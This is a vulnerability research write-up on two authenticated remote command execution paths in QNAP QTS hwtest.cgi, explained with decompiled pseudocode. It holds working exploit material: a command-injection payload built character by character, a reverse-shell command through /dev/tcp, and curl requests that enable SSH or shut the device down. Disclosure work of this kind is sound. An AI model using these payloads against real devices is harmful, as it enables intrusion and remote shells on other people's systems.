Hello everyone, today we are going to present two ways to execute commands remotely and this in an authenticated way on the on the latest available version of Qnap QTS (5.0.0.2055 build 20220531).

  • The first remote command execution is successful by exploiting a rather funny command injection.
  • The second remote command execution is obtained by chaining two hidden features.

But all the discovery are in the CGI script:

  • /home/httpd/cgi-bin/hwtest/hwtest.cgi

Command injection in hwtest.cgi

As explained above, the first vulnerability is a command injection and we will see why and how it is exploitable.

File: /home/httpd/cgi-bin/hwtest/hwtest.cgi
Function: FUN_0000f518()

void FUN_0000f518(undefined4 param_1)

{
  ...
  
  iVar2 = CGI_Find_Parameter(param_1,&DAT_00018240);
  
  ...
  
  iVar2 = CGI_Find_Parameter(param_1,"TX_UID");
  if (iVar2 == 0) {
    iVar10 = -0x62;
  }
  else {
    iVar10 = __xstat(3,"/etc/thunderbolt/tx.rom",&sStack128);
    if (iVar10 == 0) {
LAB_0000fbae:
      pcVar8 = *(char **)(iVar2 + 4);
      sVar5 = strlen(pcVar8);
      if (sVar5 == 0x10) {
        iVar2 = strncmp(pcVar8,"0x",2);
        iVar10 = -99;
        if (iVar2 != 0) {
          snprintf(&local_c0,0x40,"0x%s",pcVar8);
LAB_0000fc16:
          snprintf(acStack512,0x100,
                   "/sbin/tbtutil --write_flash if=/etc/thunderbolt/tx.rom,uid=%s >&/dev/null",
                   &local_c0);
          iVar10 = system(acStack512);
          if (iVar10 == 0) {
            Set_Private_Profile_String
                      ("Test Result","Set Thunderbolt UID",&local_c0,
                       "/tmp/config/board_level_test.cfg");
            goto LAB_0000fc84;
          }
        }
      }
      else if (sVar5 == 0x12) {
        iVar2 = strncmp(pcVar8,"0x",2);
        iVar10 = -99;
        if (iVar2 == 0) {
          snprintf(&local_c0,0x40,"%s",pcVar8);
          goto LAB_0000fc16;
        }
      }
      else {
        iVar10 = -99;
      }
    }

    ...

  }

  ...

}

We understand that it is possible to realize a command injection thanks to the functions snprintf() and system():


  ...

LAB_0000fc16:
          snprintf(acStack512,0x100,
                   "/sbin/tbtutil --write_flash if=/etc/thunderbolt/tx.rom,uid=%s >&/dev/null",
                   &local_c0);
          iVar10 = system(acStack512);

  ...

Because we control the variable local_c0 through pcVar8 which corresponds to the value defined by the user via an HTTP request (you can see it like $_REQUEST["TX_UID"] in PHP):


  ...

  iVar2 = CGI_Find_Parameter(param_1,"TX_UID");
  if (iVar2 == 0) {
    iVar10 = -0x62;
  }
  else {
    iVar10 = __xstat(3,"/etc/thunderbolt/tx.rom",&sStack128);
    if (iVar10 == 0) {
LAB_0000fbae:
      pcVar8 = *(char **)(iVar2 + 4);

  ...

However, we realize that some things will limit us so that this command injection can take place.

  • First, the parameter of our HTTP request must be of length 16 (0x10) or 18 (0x12). You should look at the conditions applied to the varialbe sVar5.

  • Secondly, our parameter must start with the string “0x”. You should look at the conditions applied to the varialbe iVar2.

So we realize that our payload must be exactly 16 characters long. Knowing that two characters are consumed by the backticks at the beginning and at the end of our payload, we only have 14 characters left to execute code.

A third important point is that the embedded binaries do not have the usual options. For example we can’t use the -n and -e options of echo, so we’ll have to find a trick.

Trick

Let’s say we want to run the command:

bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/XXXX 0>&1

This one is clearly more than 14 characters long. So we will write it character by character in a file using the following injection which we have pad with A’s so that the parameter has a length of 18:

TX_UID=0x`echo 'b'>>y`AAA

And this for each character of the command. The problem is that as explained above we cannot use the -ne option because it is not present in the embedded echo binary.

so the file/home/httpd/cgi-bin/hwtest/y will contain this:

b
a
s
h
 
-
i
 
...

And therefore will not be interpreted correctly as a bash script. So we will use the second trick:

TX_UID=0x`tr -d '\n'<y>z`

And we realize that we are lucky because our parameter’s length is exactly 18. That’s why we have to use only one character to define the name of the files in which we write.

So we just have to find out how to reach this command injection. To do this we use the Ghidra reference tool which allows us to establish a callstack:

  • FUN_000148dc()
    • FUN_0000f518()

alt text

One way I have developed to easily find this kind of vulnerability is to use a ghidra script to convert all functions to pseudocode in text files and then use grep to find the files that contain both reference to functions system() and CGI_Find_Parameter().

alt text

Within the same CGI script we realize that it is possible to start an SSH server. This gives us a second way to get a RCE as a post-authenticated user.

Enable SSH server via hwtest.cgi

File: /home/httpd/cgi-bin/hwtest/hwtest.cgi
Function: FUN_000148dc()

undefined4 FUN_000148dc(void)

{

  ...

  while( true ) {
    __stat_buf = (stat *)&local_80;
    iVar2 = __xstat(3,"/tmp/debug_cgi",__stat_buf);
    if (iVar2 != 0) break;
    sleep(1);
  }
  CGI_Init();
  CGI_Check_User();
  iVar2 = CGI_Get_Input();
  iVar3 = CGI_Find_Parameter(iVar2,"func");
  if (iVar3 == 0) {
LAB_00015360:
    printf("Error: Invalid URL!");
    goto LAB_00015394;
  }
  SE_Get_Capability(0,&DAT_000264f0);
  SE_Get_Ext_Capability(0,&DAT_000264f8);
  pcVar12 = *(char **)(iVar3 + 4);
  iVar3 = strcmp(pcVar12,"start");
  if (iVar3 == 0) {
    FUN_0001558c();
    FUN_00016868();
    goto LAB_00015394;
  }
  iVar3 = strcmp(pcVar12,"start_ssh");
  if (iVar3 == 0) {
    FUN_0000bb30();
    FUN_0001558c();
    FUN_00016868();
    goto LAB_00015394;
  }
  iVar3 = strcmp(pcVar12,"openssh");
  if (iVar3 == 0) {
    FUN_0000bb30();
    goto LAB_00015394;
  }

  ...

It turns out that the function FUN_0000bb30() calls the script /etc/init.d/login.sh with the option restart.

File: /home/httpd/cgi-bin/hwtest/hwtest.cgi
Function: FUN_0000bb30()

void FUN_0000bb30(void)

{
  char *pcVar1;
  undefined4 local_18;
  undefined4 local_14;
  undefined4 local_10;
  undefined4 local_c;
  
  local_18 = 0;
  local_14 = 0;
  local_10 = 0;
  local_c = 0;
  Get_Private_Profile_String("LOGIN","SSH Enable","",&local_18,0x10,"/etc/config/uLinux.conf");
  pcVar1 = strstr((char *)&local_18,"FALSE");
  if (pcVar1 == (char *)0x0) {
    pcVar1 = strstr((char *)&local_18,"TRUE");
    if (pcVar1 != (char *)0x0) {
      printf("SSH already open");
    }
  }
  else {
    Set_Private_Profile_String("LOGIN","SSH Enable",&DAT_0001737c,"/etc/config/uLinux.conf");
    system("/etc/init.d/login.sh restart > /dev/null 2>&1");
    printf("SSH open PASS");
  }
  return;
}

Let’s take a closer look at what this script does.

A simple request allows to activate the SSH server:

curl -i -s -k -H "Authorization: Basic XXXX" "http://XXX.XXX.XXX.XXX:XXXX/cgi-bin/hwtest/hwtest.cgi?func=openssh"

In some cases it may be necessary to reboot the NAS.

File: /home/httpd/cgi-bin/hwtest/hwtest.cgi
Function: FUN_000148dc()

undefined4 FUN_000148dc(void)

{

  ...

  while( true ) {
    __stat_buf = (stat *)&local_80;
    iVar2 = __xstat(3,"/tmp/debug_cgi",__stat_buf);
    if (iVar2 != 0) break;
    sleep(1);
  }
  CGI_Init();
  CGI_Check_User();
  iVar2 = CGI_Get_Input();
  iVar3 = CGI_Find_Parameter(iVar2,"func");
  if (iVar3 == 0) {
LAB_00015360:
    printf("Error: Invalid URL!");
    goto LAB_00015394;
  }

  ...

  iVar3 = strcmp(pcVar12,"hwtest_step_02");
  if (iVar3 != 0) {
    iVar3 = strcmp(pcVar12,"hwtest_shutdown");
    if (iVar3 == 0) {
      FUN_00016818();
      goto LAB_00015394;
    }

File: /home/httpd/cgi-bin/hwtest/hwtest.cgi
Function: FUN_00016818()

undefined4 FUN_00016818(void)

{
  __pid_t _Var1;
  
  printf("Finish");
  _Var1 = fork();
  if (_Var1 == 0) {
    close(0);
    close(1);
    close(2);
    system("/bin/rm -rf /etc/init.d >&/dev/null");
    system("/sbin/rmmod bonding.ko >&/dev/null");
    system(
          "/bin/ps aux|/bin/awk \'{print $5}\'|/bin/grep rtk_transcoding_daemon && /usr/bin/killall  -2 rtk_transcoding_daemon >&/dev/null"
          );
    Shutdown_System();
  }
  return 0;
}

To do this, nothing more simple, it is possible to turn it off with another request as we have just seen:

curl -i -s -k -H "Authorization: Basic XXXX" "http://XXX.XXX.XXX.XXX:XXXX/cgi-bin/hwtest/hwtest.cgi?func=hwtest_shutdown"